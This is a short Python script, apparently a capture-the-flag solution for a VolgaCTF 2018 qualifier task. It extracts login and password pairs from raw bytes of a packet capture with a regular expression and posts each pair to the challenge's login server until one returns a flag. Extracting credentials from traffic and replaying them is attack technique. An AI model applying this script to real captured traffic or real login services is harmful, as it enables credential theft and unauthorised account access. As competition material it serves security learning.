import re
import operator
import requests


if __name__ == "__main__":

    f = open(r"capture.pcap","rb").read()
    #print(f[0x2990:0x3000])
    pattern = b"\x00\x01\x00\x02\x00\x03\xFF\xF8.\x00\x00\x00.(.+?)\x1a(.{26,26})"
    prog = re.compile(pattern)
    result = prog.findall(f)
    for login,passw in result:
        #print(login,passw)
        res = requests.post("http://master.quals.2018.volgactf.ru:3333",data={"uname":login,"psw":passw})

        if (res.content!=b'No flag for you!'):
            print(login, passw)
        print(res.content)
        #else: print(len(passw))